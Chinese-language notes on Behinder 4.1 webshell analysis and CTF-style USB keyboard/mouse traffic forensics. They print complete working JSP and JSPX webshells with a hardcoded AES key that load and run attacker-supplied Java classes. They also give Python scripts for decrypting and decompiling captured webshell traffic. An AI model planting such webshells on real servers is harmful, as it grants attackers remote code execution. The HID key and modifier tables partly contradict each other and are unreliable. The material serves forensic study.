def run_cfr_decompiler(input_file: str) -> None:
"""
使用 CFR 反编译工具对 Java 字节码文件进行反编译,并将结果输出到控制台。
:param input_file: 输入的字节码文件路径 (.class 文件)
"""
cfr_command = ["java", "-jar", "cfr-0.152.jar", input_file]
try:
result = subprocess.run(cfr_command, check=True, capture_output=True, text=True)
print(result.stdout) # 打印反编译结果到控制台
except subprocess.CalledProcessError as e:
print(f"CFR 反编译过程中发生错误:{e}")
print(e.stderr)
# 处理十六进制数据并解密
def process_hex_data(hex_data: str) -> bytes:
"""
处理十六进制数据,转换为字节数据并进行解密。
:param hex_data: 十六进制字符串数据
:return: 解密后的字节数据
"""
try:
# 将十六进制字符串转换为字节
binary_data = bytes.fromhex(hex_data)
except ValueError:
raise ValueError("提供的十六进制字符串不正确")
# 使用解密函数
decrypted_data = decrypt(binary_data)
return decrypted_data
# 示例调用
hex_data = "你的十六进制数据" # 例如 "4a6f686e446f65" 替换成你的十六进制数据
# 处理并解密 .class 文件
decrypted_data = process_hex_data(hex_data)
# 将解密后的字节数据保存为临时文件
with open("decrypted_class_file.class", "wb") as temp_file:
temp_file.write(decrypted_data)
# 使用本地 cfr-0.152.jar 反编译工具进行反编译并输出到控制台
run_cfr_decompiler("decrypted_class_file.class")
# 删除临时解密后的 .class 文件
os.remove("decrypted_class_file.class")
Behinder4.1 JSP(aes_with_magic)
马
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度
data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
解密
import base64
import subprocess
import os
from Crypto.Cipher import AES
# 解密函数
def decrypt(data: bytes) -> bytes:
"""
1. 计算 magicNum,并去除 data 末尾的 magic tail。
2. 尝试 Base64 解码。
3. 使用 AES-128-ECB 进行解密。
"""
key = b"e45e329feb5d925b"
# 计算 magicNum
magic_num = int(key[:2].decode(), 16) % 16
# 去除 magic tail
data = data[:-magic_num] if magic_num > 0 else data
# Base64 解码
try:
decoded_data = base64.b64decode(data)
except Exception:
decoded_data = base64.b64decode(data.replace(b"<", b"+").replace(b">", b"/"))
# AES-128-ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(decoded_data)
return decrypted_data
# 调用 CFR 进行反编译
def run_cfr_decompiler(input_file: str) -> None:
"""
使用 CFR 反编译 Java 字节码文件,并输出到终端。
"""
cfr_command = ["java", "-jar", "cfr-0.152.jar", input_file]
try:
result = subprocess.run(cfr_command, check=True, capture_output=True, text=True)
print(result.stdout) # 输出反编译后的 Java 代码
except subprocess.CalledProcessError as e:
print(f"CFR 反编译过程中发生错误:{e}")
print(e.stderr)
# 处理十六进制数据并解密
def process_hex_data(hex_data: str) -> bytes:
"""
处理十六进制数据,转换为字节数据并进行解密。
"""
try:
binary_data = bytes.fromhex(hex_data)
except ValueError:
raise ValueError("提供的十六进制字符串格式错误")
# 解密数据
decrypted_data = decrypt(binary_data)
return decrypted_data
# 示例调用
hex_data = "" # 例如 "4a6f686e446f65"(替换成你的实际数据)
# 处理并解密 .class 文件
decrypted_data = process_hex_data(hex_data)
# 将解密后的数据保存为 .class 文件
with open("decrypted_class_file.class", "wb") as temp_file:
temp_file.write(decrypted_data)
# 调用 CFR 进行反编译并输出到控制台
run_cfr_decompiler("decrypted_class_file.class")
# 删除临时文件
os.remove("decrypted_class_file.class")
冰蝎(JSPX)
Behinder4.1 JSPX()
jspx
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/>
<jsp:declaration>
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
</jsp:declaration>
<jsp:scriptlet>
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
</jsp:scriptlet>
</jsp:root>
Webshell 分析的一些思考
USB
USB流量包括键盘流量和鼠标流量
USB流量指的是USB设备接口的流量,攻击者能够通过监听usb接口流量获取键盘敲击键、鼠标移动与点击、存储设备的铭文传输通信、USB无线网卡网络传输内容等等。在CTF中,USB流量分析主要以键盘和鼠标流量为主。在取证中,如果设备在使用时候打开了抓包软件,那么在使用过键盘或鼠标后就应有完整记录,用于取证。
通过wireshark或USBPcap捕获usb数据
https://wiki.wireshark.org/CaptureSetup/USB
一个USB包,其中源地址是host,代表主机,目的地址是2.3.0,表示目标是连接在主机上的 USB 设备,设备的地址为 2.3.0。

- 数据包基础信息
- 帧大小
- 捕获接口
- USB信息(URB(USB Request Block)是主机与 USB 设备通信的基本单元。此处的关键字段)
- IRP (I/O Request Packet 是主机用于管理请求的唯一标识符。值为 0 表示这是捕获中的初始请求。)
- USBD_STATUS(主机成功创建了请求并将其发送至设备。)
- URB Function(请求类型为获取设备描述符)
- Endpoint(表示通信方向为 IN,主机从设备获取数据。)
- URB transfer type (此请求是 USB 控制传输的一部分)
- 控制传输阶段
USB 控制传输由 3 个阶段组成:Setup、Data、Status。此数据包处于 Setup阶段
1. **bmRequestType**: 0x80
1. 位字段解析:0b10000000
1. 第7位(传输方向): 1(IN,主机将从设备获取数据)。
2. 第5-6位(类型): 0(标准请求)。
3. 第0-4位(接收方): 0(设备级别请求)。
2. **bRequest**: GET DESCRIPTOR (6)
表明主机请求设备描述符。
3. Descriptor Index: 0x00
请求的索引为 0,表示获取设备的第一个描述符。
4. bDescriptorType: DEVICE (0x01)
请求的描述符类型为设备描述符。
5. Language Id: 0x0000
未指定语言,默认取第一个语言描述符。
6. wLength: 18
主机期望从设备获取 18 字节的数据。这是设备描述符的固定长度。

USB枚举配置阶段
- GET DESCRIPTOR Request DEVICE 主机向设备请求 设备描述符(包括设备的厂商 ID(VID)、产品 ID(PID)、设备类、协议、以及支持的 USB 版本等)
- GET DESCRIPTOR Response DEVICE 设备响应主机的请求,并返回 设备描述符
- GET DESCRIPTOR Request CONFIGURATION 主机向设备请求 配置描述符(获取设备的功能配置信息,包括支持的接口数量、端点数量、供电需求等)
- GET DESCRIPTOR Response CONFIGURATION 设备响应主机的请求,并返回 配置描述符
- SET CONFIGURATION Request 主机发送设置请求,告知设备使用哪一个配置(激活设备的特定配置,准备进入工作模式)
- SET CONFIGURATION Response 设备确认配置已设置成功
- URB_INTERRUPT in 设备通过中断端点向主机发送数据
在连接期间,主机向多个设备地址发送了以上连接步骤

中断传输阶段
在经过正确的枚举和配置,usb已经连接上主机,进入中断传输阶段,通过分析此阶段的数据,可以一定程度上还原 USB 设备的轨迹,特别是它与主机的交互过程以及某些设备行为(如按键或鼠标移动)

在一些数据包中可能包含Leftover Capture Data,这其实也是USB设备进行通信的数据,只是不一定遵循 HID 描述符格式,也可能是其他自定义协议数据,所以显示为Leftover Capture Data,如果只是进行分析可以简单理解HID=Leftover Capture Data。

wireshark USB常用的过滤命令
只显示设备地址是20的设备数据包(会有一些空包)
usb.device_address==20
下面的命令可以准确的过滤出所有的发送和接收到包(没有空包)
(usb.dst=="3.6.1") || (usb.src=="3.6.2")
也会有空包,没有第二条命令效果好
(usb.addr=="3.6.1") || (usb.addr=="3.6.2")
提取hid数据
usbhid.data
鼠标HID
- 常用 3-4 字节:
- 第 1 字节:按钮状态(如左键、右键)。
- 第 2 字节:X 轴移动。
- 第 3 字节:Y 轴移动。
- 第 4 字节(可选):滚轮数据。
分析HID
HID Data: 010000200000
这段HID由12个字符组成,每两位十六进制字符表示 1 个字节。
- 判断usb设备类型
- 鼠标
- 键盘
- 其它usb设备
- 分析
鼠标
打开一个usb数据包,分析下面信息,该数据包是设备1.5.1接口与计算机进行通信的数据记录

回到配置枚举阶段

- 检查GET DESCRIPTOR Response DEVICE

- bDeviceClass:
- 如果为
0x03,表明是 HID(Human Interface Device)设备。 - bDeviceSubClass:
- 如果为
0x01,说明是 Boot Interface Subclass,可能是键盘或鼠标。 - bDeviceProtocol:
- 如果为
0x01,说明是键盘。 - 如果为
0x02,说明是鼠标。 - 如果都为0,则表示此交互usb设备无特定说明
- 检查GET DESCRIPTOR Response CONFIGURATION
- bInterfaceClass:
0x03:说明接口属于 HID。- bInterfaceSubClass:
0x01:说明是 Boot Interface,可能是键盘或鼠标。- bInterfaceProtocol:
0x01:键盘。0x02:鼠标。- 如果都为0,表示无特定说明
在这个数据包中bInterfaceProtocol值为0x02,为鼠标 Mouse

分析数据包
该鼠标数据包,第一个通信的数据是鼠标到主机的输入
HID Data:010000000000
| 字节位置 | 描述 | 含义 |
|---|---|---|
| Byte 0 | 按键状态 | 指示鼠标按钮的状态(如左键、右键按下) |
| Byte 1 | X 轴位移 | 指示鼠标在 X 轴上的相对位移 |
| Byte 2 | Y 轴位移 | 指示鼠标在 Y 轴上的相对位移 |
| Byte 3 | 滚轮 | 滚轮的滚动数据(通常为相对滚动) |
| Byte 4 | 扩展按键或状态 | 一些鼠标可能有额外的功能键,如侧键(未验证) |
| Byte 5 | 额外数据 | 可能用于 DPI 调整或厂商自定义功能(未验证) |
Byte0
值为0×00时,代表没有按键
值为0×01时,代表按左键
值为0×02时,代表当前按键为右键
值为0x03时(如果支持),左键和右键同时按下
Byte1
正值(如0x01):代表鼠标右移像素位
负值(如0xFF):代表鼠标左移像素位
Byte2
正值(如0x01 表示指针向上移动 1 像素):代表鼠标上移像素位
负值(如0xFF 在二进制补码表示法中等于 -1,表示指针向下移动 1 像素):代表鼠标下移像素位
Byte3
正值 (如 0x01): 向前滚动(向上)。
负值 (如0xFF 或 -1): 向后滚动(向下)。
0x00: 没有滚动。
其中,byte0 前两个字符01,代表按左键一次

使用python脚本进行分析,通过tshark提取usbhid数据
tshark -r 111.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
tshark -r 111.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata.txt
提取usb鼠标流量

import matplotlib.pyplot as plt
def parse_hid_packet(hid_packet):
"""
解析 HID 数据包,返回 X/Y 轴位移。
"""
# 转换为字节列表
data = [int(hid_packet[i:i+2], 16) for i in range(0, len(hid_packet), 2)]
# X 和 Y 轴位移
x_movement = data[1] if data[1] <= 127 else data[1] - 256
y_movement = data[2] if data[2] <= 127 else data[2] - 256
return x_movement, y_movement
# 打开 HID 数据文件
file_path = "usbdata.txt"
positions = [(0, 0)] # 初始化鼠标位置 (x, y)
with open(file_path, "r") as file:
for line in file:
hid_packet = line.strip()
if len(hid_packet) == 12: # 确保是有效的 6 字节数据包
dx, dy = parse_hid_packet(hid_packet)
# 累加位移,更新鼠标位置
last_x, last_y = positions[-1]
positions.append((last_x + dx, last_y + dy))
# 提取 X 和 Y 坐标
x_coords, y_coords = zip(*positions)
# 绘制鼠标轨迹
plt.figure(figsize=(10, 6))
plt.plot(x_coords, y_coords, marker="o", markersize=2, linestyle="-", color="blue")
plt.title("Mouse Movement Trajectory")
plt.xlabel("X Position")
plt.ylabel("Y Position")
plt.grid()
plt.show()

https://github.com/WangYihang/USB-Mouse-Pcap-Visualizer.git

键盘
和鼠标类似
https://github.com/todbot/win-hid-dump

- GET DESCRIPTOR Request DEVICE:这是 USB 的标准请求之一,用于获取设备描述符(Descriptor)。设备描述符包含了有关 USB 设备的信息,例如设备类型、支持的协议、制造商信息等。
- bmRequestType: 0x80
- 这是一个标志字节,定义了请求的类型。根据 USB 协议,
0x80表示这是一个从设备到主机的请求,通常用于设备向主机提供数据。 0x80可以拆解为:Direction (0x80):从设备到主机的数据传输。Type (0x00):标准请求。Recipient (0x01):设备本身(设备描述符请求)。
- 这是一个标志字节,定义了请求的类型。根据 USB 协议,
- bRequest: GET DESCRIPTOR (6)
- 请求类型。
0x06表示 GET DESCRIPTOR 请求,这个请求用于从 USB 设备获取描述符信息。
- 请求类型。
- Descriptor Index: 0x00
- 这是请求描述符的索引。
0x00表示请求的是设备描述符(DEVICE descriptor)。
- 这是请求描述符的索引。
- bDescriptorType: DEVICE (0x01)
- 描述符类型。
0x01表示这是一个设备描述符(DEVICE descriptor)。设备描述符包含了关于设备的信息,如设备版本、制造商、产品 ID 等。
- 描述符类型。
- Language Id: no language specified (0x0000)
- 语言 ID。
0x0000表示没有指定特定的语言(通常用于字符串描述符),在设备描述符请求中不涉及语言,因此该字段为0x0000。
- 语言 ID。
- wLength: 18
wLength表示要返回的数据的长度,单位是字节。0x18(18 字节)表示设备描述符的长度。USB 设备描述符的标准长度通常为 18 字节。
- bmRequestType: 0x80
- GET DESCRIPTOR Response DEVICE:这是对之前“GET DESCRIPTOR Request”请求的响应,设备描述符的内容已经被主机返回给 USB 设备。
- bLength: 18
- 描述符的长度,18 字节是标准的设备描述符长度。
- bDescriptorType: 0x01 (DEVICE)
- 描述符的类型。
0x01表示这是一个设备描述符(DEVICE Descriptor)。
- 描述符的类型。
- bcdUSB: 0x0200
- USB 版本。
0x0200表示该设备支持 USB 2.0。
- USB 版本。
- bDeviceClass: Device (0x00)
- 设备类。
0x00表示该设备没有特定的设备类,通常这种情况下,设备会通过接口描述符(Interface Descriptors)来指定具体的类信息。
- 设备类。
- bDeviceSubClass: 0
- 设备子类。
0表示没有指定子类。
- 设备子类。
- bDeviceProtocol: 0 (Use class code info from Interface Descriptors)
- 设备协议。
0表示设备使用接口描述符中定义的协议(即没有专门的协议,通常由接口描述符指定)。
- 设备协议。
- bMaxPacketSize0: 64
- 默认端点 0 的最大数据包大小。
64字节表示设备支持每个数据包最大为 64 字节的数据传输。
- 默认端点 0 的最大数据包大小。
- idVendor: Apple, Inc. (0x05ac)
- 设备厂商 ID。
0x05ac表示厂商是 Apple(苹果公司)。
- 设备厂商 ID。
- idProduct: Aluminium Keyboard (ANSI) (0x024f)
- 产品 ID。
0x024f表示该设备是 Apple 的 Aluminium Keyboard (ANSI)(铝制键盘 ANSI 版本)。
- 产品 ID。
- bcdDevice: 0x0103
- 设备版本号。
0x0103表示设备的版本是 1.03。
- 设备版本号。
- iManufacturer: 1
- 制造商字符串描述符的索引。
1表示设备支持第 1 个字符串描述符,通常是制造商的名字。
- 制造商字符串描述符的索引。
- iProduct: 2
- 产品字符串描述符的索引。
2表示设备支持第 2 个字符串描述符,通常是设备的名称(在这个例子中应该是 Aluminium Keyboard)。
- 产品字符串描述符的索引。
- iSerialNumber: 0
- 序列号字符串描述符的索引。
0表示设备没有提供序列号。
- 序列号字符串描述符的索引。
- sbNumConfigurations: 1
- 设备支持的配置数。
1表示该设备只有一个配置。
- 设备支持的配置数。
- bLength: 18
- GET DESCRIPTOR 请求的是 配置描述符
- bmRequestType: 0x80
- 这是请求的方向、类型和目标字段。
0x80表示:- 方向(Direction):从设备到主机(0x80)。
- 请求类型(Type):标准请求(0x00)。
- 接收者(Recipient):设备(0x01)。
- 这是请求的方向、类型和目标字段。
- bRequest: GET DESCRIPTOR (6)
- 请求代码为
0x06,表示这是一个 GET DESCRIPTOR 请求,用来获取设备的描述符。
- 请求代码为
- Descriptor Index: 0x00
- 描述符索引。
0x00表示请求的描述符是 配置描述符,这是设备的配置设置。
- 描述符索引。
- bDescriptorType: CONFIGURATION (0x02)
- 描述符类型。
0x02表示这是一个 配置描述符(Configuration Descriptor)。配置描述符包含了有关设备配置的详细信息,比如设备的接口、功率消耗等。
- 描述符类型。
- Language Id: no language specified (0x0000)
- 语言 ID。
0x0000表示没有指定语言,通常用于字符串描述符,但在此请求中不涉及语言。
- 语言 ID。
- wLength: 59
- 请求的返回数据长度。
59字节表示配置描述符的长度。配置描述符可能包含多个字段,通常会比设备描述符要大,包含更多信息,如接口描述符、端点描述符等。
- 请求的返回数据长度。
- bmRequestType: 0x80
- GET DESCRIPTOR Response CONFIGURATION 回复配置描述符(Configuration Descriptor)及其相关的 接口描述符(Interface Descriptors)、HID 描述符(HID Descriptor)和 端点描述符(Endpoint Descriptors)
- 配置描述符(Configuration Descriptor)
- **bLength: 9:**配置描述符的长度,标准为 9 字节。
- **bDescriptorType: 0x02 (CONFIGURATION):**描述符类型,
0x02表示这是一个配置描述符(Configuration Descriptor)。 - **wTotalLength: 59:**配置描述符及其包含的所有接口和端点描述符的总长度(59 字节)。这表示当前配置包含了接口描述符、HID 描述符和端点描述符的详细信息。
- **bNumInterfaces: 2:**配置中包含的接口数量,这里表示设备有 2 个接口
- **bConfigurationValue: 1:**配置值,主机通过这个值来选择当前的配置。这里是配置 1。
- **iConfiguration: 0:**配置描述符的字符串描述符索引。如果为 0,表示没有配置字符串描述符。
- **Configuration bmAttributes: 0xa0:**配置的属性,
0xa0表示:NOT SELF-POWERED:设备不是自供电的,而是通过 USB 总线供电。REMOTE-WAKEUP:设备支持远程唤醒功能。 - **bMaxPower: 50 (100mA):**配置的最大功率消耗,
50表示设备的最大功率为 100mA(50 × 2mA)。
- 接口描述符 0 (Interface Descriptor 0)
- **bLength: 9:**接口描述符的长度,标准为 9 字节。
- **bDescriptorType: 0x04 (INTERFACE):**描述符类型,
0x04表示接口描述符(Interface Descriptor)。 - **bInterfaceNumber: 0:**接口号,这个接口号是 0。
- **bAlternateSetting: 0:**可选的备用设置(Alternate Setting),通常用于支持多个配置的接口,这里为 0 表示没有备用设置。
- **bNumEndpoints: 1:**此接口拥有的端点数,这里为 1 个端点。
- **bInterfaceClass: HID (0x03):**接口的类,
0x03表示 HID(人机接口设备)类。 - **bInterfaceSubClass: Boot Interface (0x01):**接口子类,
0x01表示 Boot Interface,用于基本的输入设备如键盘和鼠标。 - **bInterfaceProtocol: Keyboard (0x01):**接口协议,
0x01表示 Keyboard(键盘)。 - **iInterface: 0:**接口字符串描述符索引,如果为 0 表示没有接口字符串描述符。
- HID 描述符:HID 描述符 的内容没有明确给出,但它通常会包含如下信息:
- bLength:HID 描述符的长度(通常是 9 字节)。
- bDescriptorType:描述符类型(
0x21表示 HID 描述符)。 - bcdHID:HID 版本号(如
0x0111)。 - bCountryCode:表示 HID 设备支持的国家/地区(如
0x00表示无特定要求)。 - bNumDescriptors:描述符的数量(通常是 1),描述符的类型可以是 Report Descriptor,用于定义设备的报告格式。
- 端点描述符 1 (Endpoint Descriptor 1)
- **bLength: 7:**端点描述符的长度,标准为 7 字节。
- **bDescriptorType: 0x05 (ENDPOINT):**描述符类型,
0x05表示端点描述符(Endpoint Descriptor)。 - **bEndpointAddress: 0x81 (IN Endpoint: 1):**端点地址,
0x81表示该端点是输入端点(IN),端点号为 1。 - **bmAttributes: 0x03:**端点的属性,
0x03表示该端点支持双向数据传输(Interrupt Transfer)。 - **wMaxPacketSize: 8:**端点的最大数据包大小,
8字节。 - **bInterval: 1:**对于中断传输,
bInterval指定数据传输的周期,这里是 1 毫秒。
- 接口描述符 1 (Interface Descriptor 1)
- **bLength: 9:**接口描述符的长度。
- **bDescriptorType: 0x04 (INTERFACE):**接口描述符类型。
- **bInterfaceNumber: 1:**接口号,这个接口号是 1。
- **bAlternateSetting: 0:**备用设置,0 表示没有备用设置。
- **bNumEndpoints: 1:**该接口有 1 个端点。
- **bInterfaceClass: HID (0x03):**该接口属于 HID 类。
- **bInterfaceSubClass: Boot Interface (0x01):**该接口属于 Boot Interface 子类,通常用于简单的输入设备,如鼠标和键盘。
- **bInterfaceProtocol: Mouse (0x02):**该接口使用的是 鼠标 协议(
0x02)。 - **iInterface: 0:**该接口没有字符串描述符。
- HID 描述符:HID 描述符 的内容同上。
- 端点描述符 2 (Endpoint Descriptor 2)
- **bLength: 7:**端点描述符的长度。
- **bDescriptorType: 0x05 (ENDPOINT):**端点描述符类型。
- **bEndpointAddress: 0x82 (IN Endpoint: 2):**端点地址,
0x82表示这是输入端点 2。 - **bmAttributes: 0x03:**端点属性,
0x03表示支持 中断传输。 - **wMaxPacketSize: 16:**端点的最大数据包大小,
16字节。 - **bInterval: 1:**中断传输的间隔,表示每 1 毫秒传输一次。
- 配置描述符(Configuration Descriptor)
- SET CONFIGURATION Request 表示设备正在切换到配置 1,并且没有附加的数据传输。配置设置通常是设备初始化过程的一部分,用于选择设备的工作模式。
- bmRequestType: 0x00
- 这是请求的方向、类型和目标字段。
0x00表示:- 方向(Direction):主机到设备(0x00),表示这是一个控制请求。
- 请求类型(Type):标准请求(0x00),表示这是 USB 规范中定义的标准请求类型。
- 接收者(Recipient):设备(0x00),请求的目标是设备本身。
- 这是请求的方向、类型和目标字段。
- **bRequest: SET CONFIGURATION (9):**请求代码为
0x09,表示这是一个 SET CONFIGURATION 请求。该请求用于设置设备的配置。 - SET CONFIGURATION:请求使得设备进入指定的配置模式,并且根据配置值启用相关的接口和功能。
- bConfigurationValue: 1:配置值,这个值指示设备应该选择哪个配置。在此例中,配置值为 1,表示设备将启用配置编号为 1 的配置。
- wIndex: 0 (0x0000):
wIndex字段通常用于某些特定的请求来提供附加信息(如接口编号或语言 ID)。在此请求中,wIndex为0x0000,表示没有指定附加信息。 - wLength: 0:
wLength字段通常表示请求的数据长度。在SET CONFIGURATION请求中,通常没有额外的数据需要传输,因此该字段值为 0。
- bmRequestType: 0x00
- SET CONFIGURATION Response 确认响应,表示设备已经选择并启用了配置 1。这个响应包本身并不包含额外的数据,它只是用来确认配置设置已成功应用。
可通过GET DESCRIPTOR Response CONFIGURATION的接口描述符(Interface Descriptor)和 设备描述符(GET DESCRIPTOR Response DEVICE)识别设备类型


分析键盘流量
- 键盘HID
- 常用 8 字节(64位,在计算机中1字节=8位):
- 第 1 字节:修饰键Modifier Keys状态(如 Ctrl、Shift)。
- 第 2 字节:常为空,占位符。
- 第 3-8 字节:按下的普通键码列表。
HID Data: 0000100000000000,这段数字有16个字符,它在wireshark是以16进制方式展现。十六进制两位一个字节。

映射表
https://wenku.baidu.com/view/9050c3c3af45b307e971971e.html?wkts=1736493070839
- 字节 1 (修饰键字节): 6个位表示修饰键的状态,1位表示按下的修饰键,0表示没有按下。
- 修饰键:
- 0x01**: 左 Shift**
- 0x02**: 右 Shift**
- 0x04**: 左 Ctrl**
- 0x08**: 右 Ctrl**
- 0x10**: 左 Alt**
- 0x20**: 右 Alt**
- 0x40**: 左 Windows 键**
- 0x80**: 右 Windows 键**
- 0x39: Caps Lock
- 字节 2-8 (按键值字节): 每个字节表示按下的键(最多6个键)。按键值的对应关系如下:
- USB HID键盘映射表
按键值 键盘按键名称
0x04 A
0x05 B
0x06 C
0x07 D
0x08 E
0x09 F
0x0A G
0x0B H
0x0C I
0x0D J
0x0E K
0x0F L
0x10 M
0x11 N
0x12 O
0x13 P
0x14 Q
0x15 R
0x16 S
0x17 T
0x18 U
0x19 V
0x1A W
0x1B X
0x1C Y
0x1D Z
0x1E 1 (数字键)
0x1F 2 (数字键)
0x20 3 (数字键)
0x21 4 (数字键)
0x22 5 (数字键)
0x23 6 (数字键)
0x24 7 (数字键)
0x25 8 (数字键)
0x26 9 (数字键)
0x27 0 (数字键)
0x28 Enter/Return
0x29 Escape
0x2A Backspace
0x2B Tab
0x2C Spacebar
0x2D Minus (-)
0x2E Equal (=)
0x2F LeftBracket ([)
0x30 RightBracket (])
0x31 Backslash ()
0x32 Semicolon (;)
0x33 Quote (')
0x34 Grave (`)
0x35 Comma (,)
0x36 Period (.)
0x37 Slash (/)
0x38 Caps Lock
0x39 F1
0x3A F2
0x3B F3
0x3C F4
0x3D F5
0x3E F6
0x3F F7
0x40 F8
0x41 F9
0x42 F10
0x43 F11
0x44 F12
0x45 PrintScreen
0x46 Scroll Lock
0x47 Pause
0x48 Insert
0x49 Home
0x4A Page Up
0x4B Delete
0x4C End
0x4D Page Down
0x4E Arrow Right
0x4F Arrow Left
0x50 Arrow Down
0x51 Arrow Up
0x52 Num Lock
0x53 Keypad /
0x54 Keypad *
0x55 Keypad -
0x56 Keypad +
0x57 Keypad Enter
0x58 Keypad 1
0x59 Keypad 2
0x5A Keypad 3
0x5B Keypad 4
0x5C Keypad 5
0x5D Keypad 6
0x5E Keypad 7
0x5F Keypad 8
0x60 Keypad 9
0x61 Keypad 0
0x62 Keypad .
修饰键,这里的单位是bit,表示位,而我们wireshark里的hiddata是16进制,需要转换才能得到对应的修饰键
位(Bit) 键值(Hex) 描述
0 0x01 左Ctrl
1 0x02 左Shift
2 0x04 左Alt
3 0x08 左Win键
4 0x10 右Ctrl
5 0x20 右Shift
6 0x40 右Alt
7 0x80 右Win键
例如:
hiddata:0200000000000000,按修饰键映射表,为左shift键
hiddata:0800190000000000,按修饰键映射表,为左win键
hiddata:0300000000000000,按修饰键映射表,没有,0x03=二进制00000011
00000011第0位及00000001=左ctrl
00000011第1位及00000010=左shift
所以0300000000000000=同时按下左边ctrl与shift键

USB HID报告通常是多个字节(8位为1字节)组成的,键盘数据报文通常至少有8个字节,表示修饰键、按键状态等,根据映射表和USB HID报告分析这一个HIDdata数据。
0000100000000000
将这个hiddata 分开
00 00 10 00 00 00 00 00
第一字节修饰符为空 第二字节为占位也为空 第三字节为 10,根据映射表,0x10=m,所以第一个按下的键盘是m
通过tshark批量提取hiddata
tshark -r 111.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata.txt

通过python脚本批量解析输出
def parse_hid_data(hid_data):
data = int(hid_data, 16)
keys = []
unknown_keys = []
# 修饰键字节
modifier_byte = (data >> 8) & 0xFF
if modifier_byte & 0x02:
keys.append('LeftShift')
if modifier_byte & 0x04:
keys.append('RightShift')
if modifier_byte & 0x01:
keys.append('LeftCtrl')
if modifier_byte & 0x08:
keys.append('RightCtrl')
if modifier_byte & 0x10:
keys.append('LeftAlt')
if modifier_byte & 0x20:
keys.append('RightAlt')
if modifier_byte & 0x40:
keys.append('LeftWin')
if modifier_byte & 0x80:
keys.append('RightWin')
# 普通按键字节
for i in range(3, 8):
key_code = (data >> (i * 8)) & 0xFF
if key_code > 0:
if key_code in HID_KEY_MAP:
keys.append(HID_KEY_MAP[key_code])
else:
unknown_keys.append(f"Unknown (0x{key_code:02X})") # 未识别的键码
return keys, unknown_keys
def process_keys_to_text(all_keys):
result_text = []
for key in all_keys:
if key == 'Backspace':
if result_text: # 如果已有字符输入,删除最后一个
result_text.pop()
elif key not in ['F1', 'F2']: # 忽略功能键
result_text.append(key)
return ''.join(result_text)
def main():
all_keys = []
unknown_keys_set = set() # 收集所有未知键码
line_outputs = [] # 存储逐行解析输出
with open('usbdata.txt', 'r') as f:
for line in f:
line = line.strip()
if line: # 如果不是空行
keys, unknown_keys = parse_hid_data(line)
all_keys.extend(keys) # 添加解析出的正常按键
unknown_keys_set.update(unknown_keys) # 收集未知键码
# 按逐行输出格式记录
if keys or unknown_keys:
line_outputs.append(f"Parsed keys: {keys + unknown_keys}")
else:
line_outputs.append("Parsed keys: []")
# 处理键盘输入,不含空格
parsed_text = process_keys_to_text(all_keys)
# 输出逐行解析格式
print("Line-by-Line Parsed Keys:")
for line in line_outputs:
print(line)
# 输出最终文本内容
print("\nFinal Parsed Text (no spaces):")
print(parsed_text)
# 输出未识别的键码
if unknown_keys_set:
print("\nUnknown keys encountered:")
for unknown_key in sorted(unknown_keys_set):
print(unknown_key)
if __name__ == '__main__':
# 键盘 HID 映射表
HID_KEY_MAP = {
0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd',
0x08: 'e', 0x09: 'f', 0x0A: 'g', 0x0B: 'h',
0x0C: 'i', 0x0D: 'j', 0x0E: 'k', 0x0F: 'l',
0x10: 'm', 0x11: 'n', 0x12: 'o', 0x13: 'p',
0x14: 'q', 0x15: 'r', 0x16: 's', 0x17: 't',
0x18: 'u', 0x19: 'v', 0x1A: 'w', 0x1B: 'x',
0x1C: 'y', 0x1D: 'z', 0x1E: '1', 0x1F: '2',
0x20: '3', 0x21: '4', 0x22: '5', 0x23: '6',
0x24: '7', 0x25: '8', 0x26: '9', 0x27: '0',
0x28: 'Enter', 0x29: 'Escape', 0x2A: 'Backspace',
0x2B: 'Tab', 0x2C: ' ', 0x2D: '-', 0x2E: '=',
0x2F: '[', 0x30: ']', 0x31: '\\', 0x32: '#',
0x33: ';', 0x34: '\'', 0x35: '`', 0x36: ',',
0x37: '.', 0x38: '/', 0x3A: 'F1', 0x3B: 'F2',
